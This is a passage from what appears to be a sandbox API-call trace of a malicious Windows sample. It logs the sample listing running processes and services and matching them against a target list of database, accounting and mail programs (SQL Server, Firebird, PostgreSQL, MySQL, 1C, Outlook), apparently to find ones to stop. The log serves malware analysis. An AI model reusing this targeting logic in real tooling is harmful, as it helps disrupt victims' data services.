-1 [0241.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0241.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0241.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0241.624] lstrlenW (lpString="SENS") returned 4 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0241.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0241.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0241.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0241.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0241.624] lstrlenW (lpString="ShellHWDetection") returned 16 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0241.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0241.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0241.624] lstrlenW (lpString="Spooler") returned 7 [0241.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0241.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0241.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0241.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0241.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0241.625] lstrlenW (lpString="Themes") returned 6 [0241.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0241.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0241.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0241.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0241.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0241.625] lstrlenW (lpString="UxSms") returned 5 [0241.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0241.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0241.625] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0241.625] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0241.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0241.625] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0241.625] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0241.626] Process32FirstW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.627] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.627] lstrlenW (lpString="System") returned 6 [0241.627] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0241.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0241.627] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0241.627] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0241.627] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0241.627] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0241.627] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0241.627] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.628] lstrlenW (lpString="smss.exe") returned 8 [0241.628] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0241.628] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.628] lstrlenW (lpString="csrss.exe") returned 9 [0241.628] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.628] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.628] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.628] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.628] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.628] lstrlenW (lpString="wininit.exe") returned 11 [0241.629] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0241.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0241.629] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0241.629] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0241.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0241.629] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0241.629] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0241.629] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.629] lstrlenW (lpString="csrss.exe") returned 9 [0241.629] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.629] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.629] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.629] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.629] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.629] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.629] lstrlenW (lpString="winlogon.exe") returned 12 [0241.629] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0241.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0241.630] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0241.630] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0241.630] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0241.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0241.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0241.630] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.630] lstrlenW (lpString="services.exe") returned 12 [0241.630] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0241.630] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0241.630] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0241.630] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0241.630] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0241.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0241.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0241.630] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.630] lstrlenW (lpString="lsass.exe") returned 9 [0241.630] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0241.630] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0241.630] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0241.631] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0241.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0241.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0241.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0241.631] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0241.631] lstrlenW (lpString="lsm.exe") returned 7 [0241.631] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0241.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0241.631] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0241.631] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0241.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0241.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0241.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0241.631] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.631] lstrlenW (lpString="svchost.exe") returned 11 [0241.631] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.631] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.632] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.632] lstrlenW (lpString="svchost.exe") returned 11 [0241.632] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.632] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.632] lstrlenW (lpString="svchost.exe") returned 11 [0241.632] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.633] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.633] lstrlenW (lpString="svchost.exe") returned 11 [0241.633] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0241.633] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.633] lstrlenW (lpString="svchost.exe") returned 11 [0241.633] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.633] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.633] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.634] lstrlenW (lpString="audiodg.exe") returned 11 [0241.634] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.634] lstrlenW (lpString="svchost.exe") returned 11 [0241.634] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.634] lstrlenW (lpString="svchost.exe") returned 11 [0241.634] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0241.635] lstrlenW (lpString="userinit.exe") returned 12 [0241.635] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.635] lstrlenW (lpString="dwm.exe") returned 7 [0241.635] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.635] lstrlenW (lpString="explorer.exe") returned 12 [0241.635] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.636] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.636] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0241.636] lstrlenW (lpString="taskhost.exe") returned 12 [0241.636] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.636] lstrlenW (lpString="svchost.exe") returned 11 [0241.636] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0241.636] lstrlenW (lpString="uyuquk.exe") returned 10 [0241.636] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0241.637] lstrlenW (lpString="reader_sl.exe") returned 13 [0241.637] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0241.637] lstrlenW (lpString="conhost.exe") returned 11 [0241.637] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0241.637] lstrlenW (lpString="dllhost.exe") returned 11 [0241.637] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0241.638] CloseHandle (hObject=0x204) returned 1 [0241.638] Sleep (dwMilliseconds=0x1f4) [0242.204] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0242.317] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0242.318] GetLastError () returned 0xea [0242.318] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x4232878 [0242.318] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0242.318] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0242.318] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0242.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.318] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0242.318] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0242.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0242.318] lstrlenW (lpString="AudioSrv") returned 8 [0242.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0242.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0242.318] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0242.318] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0242.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0242.318] lstrlenW (lpString="BFE") returned 3 [0242.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0242.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0242.318] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0242.318] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0242.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0242.319] lstrlenW (lpString="CryptSvc") returned 8 [0242.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0242.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0242.319] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0242.319] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0242.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0242.319] lstrlenW (lpString="CscService") returned 10 [0242.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0242.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0242.319] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0242.319] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0242.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0242.319] lstrlenW (lpString="DcomLaunch") returned 10 [0242.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0242.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0242.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0242.319] lstrlenW (lpString="Dhcp") returned 4 [0242.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0242.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0242.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0242.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0242.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0242.319] lstrlenW (lpString="Dnscache") returned 8 [0242.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0242.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0242.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0242.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0242.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0242.319] lstrlenW (lpString="DPS") returned 3 [0242.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0242.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0242.320] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0242.320] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0242.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0242.320] lstrlenW (lpString="eventlog") returned 8 [0242.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0242.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0242.320] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0242.320] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0242.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0242.320] lstrlenW (lpString="EventSystem") 